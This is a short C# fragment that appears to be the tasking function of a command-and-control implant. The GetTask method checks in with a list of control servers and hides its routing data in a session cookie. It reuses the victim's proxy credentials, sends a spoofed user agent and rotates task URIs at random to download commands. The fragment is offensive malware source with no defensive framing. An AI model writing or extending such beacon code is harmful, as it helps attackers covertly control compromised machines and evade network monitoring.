//////////////////////////////////////////////////////////////////////////////// // //////////////////////////////////////////////////////////////////////////////// internal byte[] GetTask() { byte[] results = new byte[0]; try { byte[] routingPacket = NewRoutingPacket(null, 4); string routingCookie = Convert.ToBase64String(routingPacket); WebClient webClient = new WebClient(); webClient.Proxy = WebRequest.GetSystemWebProxy(); webClient.Proxy.Credentials = CredentialCache.DefaultCredentials; webClient.Headers.Add("User-Agent", sessionInfo.GetUserAgent()); webClient.Headers.Add("Cookie", "session=" + routingCookie); Random random = new Random(); string selectedTaskURI = sessionInfo.GetTaskURIs()[random.Next(0, sessionInfo.GetTaskURIs().Length)]; results = webClient.DownloadData(sessionInfo.GetControlServers()[ServerIndex] + selectedTaskURI); } catch (WebException webException) { MissedCheckins++; if ((int)((HttpWebResponse)webException.Response).StatusCode == 401) { //Restart everything } } return(results); }